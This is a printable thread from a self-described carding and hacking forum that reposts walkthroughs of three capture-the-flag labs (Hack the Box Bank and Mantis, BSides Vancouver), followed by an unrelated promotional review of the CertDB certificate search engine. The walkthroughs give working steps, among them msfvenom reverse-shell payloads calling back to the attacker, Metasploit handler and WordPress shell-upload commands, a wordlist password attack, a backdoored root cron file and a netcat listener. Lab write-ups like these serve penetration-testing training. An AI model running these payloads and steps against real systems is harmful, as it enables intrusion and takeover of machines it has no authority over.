[Guide] How to Hack the Box Challenge: Bank Walkthrough

[Guide] How to Hack the Box Challenge: Bank Walkthrough - Printable Version

+- Blackhat Carding Forum | Carding Forum - Credit Cards - Hacking Forum - Cracking Forum | Bhcforums.cc (https://bhcforums.cc)
+-- Forum: Carding Zone (https://bhcforums.cc/Forum-Carding-Zone)
+--- Forum: Carders Home (https://bhcforums.cc/Forum-Carders-Home)
+--- Thread: [Guide] How to Hack the Box Challenge: Bank Walkthrough (/Thread-Guide-How-to-Hack-the-Box-Challenge-Bank-Walkthrough)

[Guide] How to Hack the Box Challenge: Bank Walkthrough - NINZA - 05-14-2020

Hello friends!! Today we are going to solve another CTF challenge “Bank” which is categories as retired lab presented by Hack the Box for making online penetration practices. Solving challenges in this lab is not that much tough until you don’t have the correct knowledge of Penetration testing. Let start and learn how to breach a network then exploit it for retrieving desired information.
Level: Intermediate
Task: find user.txt and root.txt file on the victim’s machine.
Since these labs are online accessible therefore they have static IP. The IP of Bank is 10.10.10.29 so let’s initiate with nmap port enumeration.
nmap -A 10.10.10.29
1
nmap -A 10.10.10.29
From given below image, you can observe we found ports 22, 53 and 80 are open in victim’s network. As you have seen in our all previous lab that we love to explore target IP via port 80 on our web browser, similarly we follow that tradition in this also but Bad Luck!! this time it didn’t work at all.
[Image: 1.png?w=687&ssl=1]

Now the last option was to add target IP inside /etc/host file since port 53 was open for the domain and as it is a challenge of hack the box thus I edit bank.htb as a domain name.
[Image: 2.png?w=687&ssl=1]

Then I explore the domain name: bank.htb through the web browser and found following login page as shown below.
[Image: 3.png?w=687&ssl=1]

Then I preferred to use dirbuster tool and chose directory list 2-3 medium.txt file for directory brute force attack on

[To see content please register here]

for PHP file extension.
[Image: 4.png?w=687&ssl=1]

Here I found so many directories but I was interested in the support.php file. So when I try to explore

[To see content please register here]

I was unable to access this web page as I was always redirected to login page due to HTTP response 302.
[Image: 5.png?w=687&ssl=1]

So I installed the noredirect plugin from firefox that allows me to stop any 302 redirections. I simply added

[To see content please register here]

to the noredirect plugin so it can stop redirecting to /login.php consistently.
[Image: 6.png?w=687&ssl=1]

So now I’m able to access the exact support.php page where I saw an upload option for uploading a PHP file hence we can try to upload a PHP backdoor instead of a genuine PHP file.
[Image: 7.png?w=687&ssl=1]

Using msfvenom we had created a malicious shell.php file by executing following command.
msfvenom -p php/meterpreter/reverse_tcp lhost=10.10.14.6 lport=4444 -f raw
1
msfvenom -p php/meterpreter/reverse_tcp lhost=10.10.14.6 lport=4444 -f raw
Simultaneously run multi/handler for reverse connection of the victim’s system.
[Image: 8.png?w=687&ssl=1]

Then with the title shell, I upload shell.php by adding “ignite” in the message box and click on submit. But failed to upload this file therefore without wasting time I simply intercept our browser HTTP request in Burpsuite.
[Image: 10.png?w=687&ssl=1]

From given below image you can observe that we had fetched intercepted HTTP request of the uploaded shell.php file.
[Image: 11.png?w=687&ssl=1]

After so many attempts I simply modify shell.php into shell.htb and forward the intercepted data.
[Image: 12.png?w=687&ssl=1]

YES!! It successfully gets uploaded, then I run this file and move back to the Metasploit framework for the meterpreter session.
[Image: 14.png?w=687&ssl=1]

After executing uploaded backdoor file come back to the Metasploit framework and wait for the meterpreter session.
msf use exploit/multi/handler
msf exploit(multi/handler) set payload php/meterpreter/reverse_tcp
msf exploit(multi/handler) set lhost 10.10.14.6
msf exploit(multi/handler) set lport 4444
msf exploit(multi/handler) exploit
1
2
3
4
5
msf use exploit/multi/handler
msf exploit(multi/handler) set payload php/meterpreter/reverse_tcp
msf exploit(multi/handler) set lhost 10.10.14.6
msf exploit(multi/handler) set lport 4444
msf exploit(multi/handler) exploit
From given below image you can observe meterpreter session1 opened for accessing victim tty shell.
meterpreter>sysinfo
1
meterpreter>sysinfo
[Image: 15.png?w=687&ssl=1]

Now let’s finish the task by grabbing user.txt and root.txt file. First I move into /home directory and check available files and directories inside it.
cd /home
ls
1
2
cd /home
ls
Here one directory chris, when I explore /home/chris I saw user.txt and use cat command for reading.
cd chris
ls
cat user.txt
1
2
3
cd chris
ls
cat user.txt
Great!! Here we had completed 1st task now move to 2nd tasK
[Image: 16.png?w=687&ssl=1]

Inside /var/www/bank/uploads directory I checkout root privileges directory by executing following command.
find / -perm -4000 2>/dev/null
1
find / -perm -4000 2>/dev/null
As result, it dumps so many directories have root privileges but I look at /var/htb/bin/emergency.
[Image: 17.png?w=687&ssl=1]

When I extract all directory here I found an emergency file which I had run for getting root access as shown below in the image.
./emergency
id
1
2
./emergency
id
[Image: 18.png?w=687&ssl=1]

Now let’s get the root.txt by executing the following command.
cd /root
cat root.txt
1
2
cd /root
cat root.txt
We have successfully completed 2nd task.
[Image: 19.png?w=687&ssl=1]

Hello friends! Today we are going to take another CTF challenge known as BSides Vancouver. The credit for making this VM machine goes to “Abatchy” and it is another capture the flag challenge in which our goal is to gain root access and capture the flag to complete the challenge. You can download this VM

[To see content please register here]

.
Let’s Breach!!!
Let’s start from getting to know the IP of VM with help of netdiscover Command (Here, I have it at 192.168.1.103 but you will have to find your own). Now let’s move towards enumeration in context to identify running services and open of victim’s machine by using the most popular tool Nmap.
nmap -p- -A 192.168.1.103 --open
1
nmap -p- -A 192.168.1.103 --open
Awesome!! Nmap has done a remarkable job by dumbing the details of services running on open port 21, 22 and 80.
Moreover, the highlighted text is revealing the following details:

FTP Anonymous login allowed
Found a directory /backup WordPress with help of txt

Without wasting time we accessed the FTP service of the victim’s system and found a user.txt.bk, let’s look into this file.
[Image: 5.png?w=687&ssl=1]

Its look like a text file with some username in it. Since port 22 is open so we can use these name for login into ssh if possible.
[Image: 6.png?w=687&ssl=1]

If you recall nmap result then it has shown /back_wordpress directory which we had to explore in our web browser but Sadly we didn’t get anything from this web page although it sounds for WordPress site which is also a good sing.
[Image: 7.png?w=687&ssl=1]

Now we decided to use the command on the URL that we have entered in the browser. To check if there are any kind of vulnerable themes, plugins, username and etc.
wpscan –u

[To see content please register here]

--enumerate t --enumerate p --enumerate u
1
wpscan –u

[To see content please register here]

--enumerate t --enumerate p --enumerate u
[Image: 8.png?w=687&ssl=1]

The wpscan has enumerated the usernames where we have found the login credentials as admin and John.
[Image: 9.png?w=687&ssl=1]

Again we have used wpscan to find out the password credentials for the login credentials john. Here we have used the following command to enumerate the password from the rockyou.txt file.
wpscan –u

[To see content please register here]

--username john --wordlist /usr/share/wordlists/rockyou.txt
1
wpscan –u

[To see content please register here]

--username john --wordlist /usr/share/wordlists/rockyou.txt
[Image: 10.png?w=687&ssl=1]

We see that for login credentials john, the password credentials matched is enigma.
[Image: 11.1.png?w=687&ssl=1]

After finding the username and password, we have used metasploit’s exploit wp_admin_shell_upload to upload the shell and get the meterpreter which is shown below.
use exploit/unix/webapp/wp_admin_shell_upload
msf exploit(unix/webapp/wp_admin_shell_upload) >set rhost 192.168.1.103
msf exploit(unix/webapp/wp_admin_shell_upload) >set targeturi /backup-wordpress
msf exploit(unix/webapp/wp_admin_shell_upload) >set username john
msf exploit(unix/webapp/wp_admin_shell_upload) >set password enigma
msf exploit(unix/webapp/wp_admin_shell_upload) >exploit
1
2
3
4
5
6
use exploit/unix/webapp/wp_admin_shell_upload
msf exploit(unix/webapp/wp_admin_shell_upload) >set rhost 192.168.1.103
msf exploit(unix/webapp/wp_admin_shell_upload) >set targeturi /backup-wordpress
msf exploit(unix/webapp/wp_admin_shell_upload) >set username john
msf exploit(unix/webapp/wp_admin_shell_upload) >set password enigma
msf exploit(unix/webapp/wp_admin_shell_upload) >exploit
Great!! We had compromise confidentiality of the target’s system now penetrate more for completing this challenge.
[Image: 11.png?w=687&ssl=1]

We start penetrating targets machine and after 10-15 mints we came to know about a cleanup file which has root privilege from inside contents of crontab file.
[Image: 22.png?w=687&ssl=1]

Then we downloaded cleanup file on our desktop so that we can modify it by editing our malicious code.
meterpreter> download cleanup /root/Desktop/
1
meterpreter> download cleanup /root/Desktop/
[Image: 23.png?w=687&ssl=1]

Using msfvenom we had generated a malicious python code by executing following command.
msfvenom -p cmd/unix/reverse_python lhost=192.168.1.108 lport=9876 R
1
msfvenom -p cmd/unix/reverse_python lhost=192.168.1.108 lport=9876 R
Then copy the highlighted code for editing into the cleanup file.
[Image: 25.png?w=687&ssl=1]

We had paste above copied text as the inside cleanup file as shown in below image. In a new terminal, we had start netcat for listening reverse connection.
nc -lvp 9876
1
nc -lvp 9876
[Image: 26.png?w=687&ssl=1]

Now we had to transfer our malicious cleanup file into current directory i.e. /usr/local/bin and verify it using cat command.
meterpreter> upload /root/Desktop/cleanup .
meterpreter>cat cleanup
1
2
meterpreter> upload /root/Desktop/cleanup .
meterpreter>cat cleanup
[Image: 27.png?w=687&ssl=1]

WOW, we got the reverse connection from victims system with root access now let’s catch the flag and finished the task.
id
cd /root
cat flag.txt
1
2
3
id
cd /root
cat flag.txt
solving the challenge in this lab is not that much hectic therefore it is a good task for beginners.
[Image: 28.png?w=687&ssl=1]

Hello friends!! Today we are going to solve another CTF challenge “Mantis” which is categories as retired lab presented by Hack the Box for making online penetration practices. Solving challenges in this lab is not that much easy until you don’t have some knowledge of Penetration testing. Let start and learn how to analyze any vulnerability in a network then exploit it for retrieving desired information.
Level: Intermediate
Task: find user.txt and root.txt file on the victim’s machine.
Since these labs are online accessible therefore they have static IP. The IP of Mantis is 10.10.10.52 so let’s initiate with nmap port enumeration.
nmap -A 10.10.10.52
1
nmap -A 10.10.10.52
From the given below image, you can observe we found so many ports are open in the victim’s network.
[Image: 1.png?w=687&ssl=1]

Since we have run nmap aggressive scan therefore in below image you can observe remaining result where the highlighted text is pointing towards victim’s system domain name and FQDN.
[Image: 2.png?w=687&ssl=1]

First of all, we browse target IP through port 1337 in our web browser and saw following the image of IIS7 and although here I didn’t get any clue for next step therefore automatically next I move for directory buster.
[Image: 3.png?w=687&ssl=1]

Then I preferred to use dirbuster tool and chose directory list 2-3 medium.txt file for directory brute force attack on

[To see content please register here]

for PHP file extension.
[Image: 4.png?w=687&ssl=1]

As result, I found a directory /secure notes with 200 ok response.
[Image: 5.png?w=687&ssl=1]

Here I saw two files dev_notes and web.config among these I’m interested in dev_notes test file to let’s open it.
[Image: 6.png?w=687&ssl=1]

When I open a dev_notes text file I read following contents as shown in below image and realize that it points towards a database “orcharddb” have “admin” as username, now I only need to know the required password for login into the database.
To me, the file “/dev_notes_NmQyNDI0NzE2YzVmNTM0MDVmNTA0MDczNzM1NzMwNzI2NDIx.txt.txt” was looking suspicious as “NmQyNDI0NzE2YzVmNTM0MDVmNTA0MDczNzM1NzMwNzI2NDIx” was base 64 encoded, therefore, I need to decode this text for the correct assumption of getting the password.
[Image: 7.png?w=687&ssl=1]

When I decode our base 64 encoded text further I get hex code from inside it.
[Image: 8.1.png?w=687&ssl=1]

After decoding the above hex text finally I found a password for admin user.
[Image: 8.png?w=687&ssl=1]

Using dbeaver we are going to connect to ms SQL server as shown below in the image. Now let login into the database using database name and above-found credential via port 1433
[Image: 11.png?w=687&ssl=1]

Great!! We are inside the database now let enumerate database tables for retrieving some important information.
[Image: 15.1.png?w=687&ssl=1]

Further down the table blog_Orchad_Users_UserPartRecord, I was able to catch the columns that hold usernames and passwords and found two usernames.
[Image: 15.png?w=687&ssl=1]

We had manually added target IP with htb.local and matis.htb.local the domain names which we have found through nmap in our local host file.
[Image: 16.png?w=687&ssl=1]

Then we have installed impacket from git hub as given below command.
git clone

[To see content please register here]

1
git clone

[To see content please register here]

Impacket is an assembly of Python classes for working with network protocols. Impacket is focused on providing low-level programmatic access to the packets and for some protocols (for instance NMB, SMB1-3, and MS-DCERPC) the protocol implementation itself.
[Image: 17.png?w=687&ssl=1]

Now run install the downloaded file by executing following command
python setup.py install
1
python setup.py install
[Image: 18.png?w=687&ssl=1]

Impacket contains goldenpac python file which is used for post exploitation, now execute given below command and access the victim’s terminal through that.
goldenPac.py htb.local/[email protected]
1
goldenPac.py htb.local/[email protected]
From given below image you can observe that we had access victim’s terminal.
[Image: 19.png?w=687&ssl=1]

Now let’s finished the task by grabbing user.txt and root.txt file. First I move into james directory and check available files and directories inside it.
cd james
dir
1
2
cd james
dir
Here I got a Desktop directory and after exploring it we found so many files and directory, at last, I fetch the user.txt file from inside /james /Desktop/ and use cat command for reading.
type user.txt
1
type user.txt
Our 1st challenges finished successfully now move for 2nd challenge.
[Image: 20.png?w=687&ssl=1]

At last, I fetch the user.txt file from inside /Administrator/Desktop/ and use cat command for reading.
type root.txt
1
type root.txt
Awesome!! We had successfully completed the challenge by finding both the text file.
Happy Hacking!!
[Image: 21.png?w=687&ssl=1]

It’s generally believed that an SSL certificate is just a minor collection of the data files that digitally bond the cryptographic key to the businesses’ details. Everyone supposedly knows that without the SSL certificate, all of the proper secure data on the website could get intercepted and used for blackmailing, identity theft, etc. Likewise, the certificate is important as a mean of forming the trust in the website and the commercial customer attraction. All of the listed benefits could be exploited by using the service, called

[To see content please register here]

, or by figuring out each one of them manually. Thanks to the user friendly interface of the service, however, I think it’s a worthwhile option for those only starting to wonder if the SSL certificates have the ability to change the nature of things around us.
[Image: image002.gif?w=687&ssl=1]

The

[To see content please register here]

is an SSL certificate search engine that could be used for the various purposes. First of all, it allows the companies who specialize in the security breaches to find the problematic certificates with the aim of weakening the possibility of the hacker attacks. The service also functions as a useful tool during the penetration tests. Not to forget to mention that with the help of the certificate analysis one may discover the subdomains and domains of the particular focus that could turn to be vulnerable. Such an information may be used not only for the security but also in a profitable way. A commercial SSL-selling company, for example, could boost its own sales by warning those suffering from the “holes” in the system. Although, there is clearly no need to think of

[To see content please register here]

as os some advanced mechanism that is of no use to the non-experts on the internet. On the opposite, the service could turn to be truly practical, regardless of the fact that the creators position their service primarily for the research.
[Image: image004.gif?w=687&ssl=1]

Have you ever wondered how come a simple internet user may figure out the plans of the entire company? Despite the various establishments’ enormous efforts to remain free of private info breaches and the strict non-disclosure deals, which could keep secrets for as long as desired, things could get leaked pretty easily. By exploiting the direct searching software of CertDB, one can surely find the newly-released SSL certificates that could be used for gathering the info, such as the company’s used domains, subdomains, and IP addresses. Thus, such a data could help the owner to interpret it in the variety of ways. For instance, the company may have just registered the domain indicating the upcoming start of the initial coin offerings (ico.xxx.com). This small piece of evidence may be actually crucial as it can be used for the competitive analysis and other business analytics among others. Sometimes, the company of the focus may issue the certificate in an organization with the domains of the other companies, which could mean the collaboration or the purchase of one company by another. Clearly, such a data could potentially benefit the owner as it can generate profits as an insight info or even lead to the start of the investigation (if there are hints of the unfair business practices). I, personally, find this to be truly appealing as CertDB has the promising power to shape the entire industries with its innovative and useful searching engine.
CertDB is clearly an unparalleled project, and there is an obvious need to mention the people working behind the doors of it. The SSL certificate search engine is only possible due to the

[To see content please register here]

of highly-skilled security specialists and IT experts of the area that constantly work on the IT projects all across the globe. Besides, it’s fair to claim that the innovation is continuous, which is something that personally fascinates me. As I was writing this article, the SPYSE team has just released the subdomain searching tool (

[To see content please register here]

) that looks promising to me after doing the first-hand analysis. I will attempt to fully review the newly-released service in the short time, although there is one outstanding thing that I should already mention, being the free using cost of the service. It seems to me that the entire SPYSE team is functioning with the waves of enthusiasm in mind. Besides, there is a manifest sign of professionalism as can be seen by the capabilities of the CertDB website.
[Image: image006.gif?w=687&ssl=1]

More should be said about the project’s mission and why it has come to exist with the effort of the

[To see content please register here]

mentioned above. The inventors of CertDB hold a belief that the internet is developing at an incredibly rapid speed, which only furthers the issues of data security and privacy concerns that could potentially happen in any web project of the focus. To this end and with the purpose of disclosing the hidden info to the public,

[To see content please register here]

keeps functioning for the needs of the average users who want to know more about the various companies and conglomerates. The fact that CertDB, an internet-wide SSL search engine, exists allows to both browse the “outdated” data as well as to obtain the newly-published one. Frankly, such things could change the way I look on the use of data, which is something I don’t say that much often.
Every time I want to stick my nose where it does not belong, I do realize that CertDB is the best option for me to use in such a situation. It’s free of charge, has the most accurate database of the SSL certificates and is easy to use for those inexperienced with the web surfing processes. Personally, I would continue to use

[To see content please register here]

and exploit all of the service’s benefits. Although, I hope that you have been able to reconsider your position on the importance of the SSL certificates.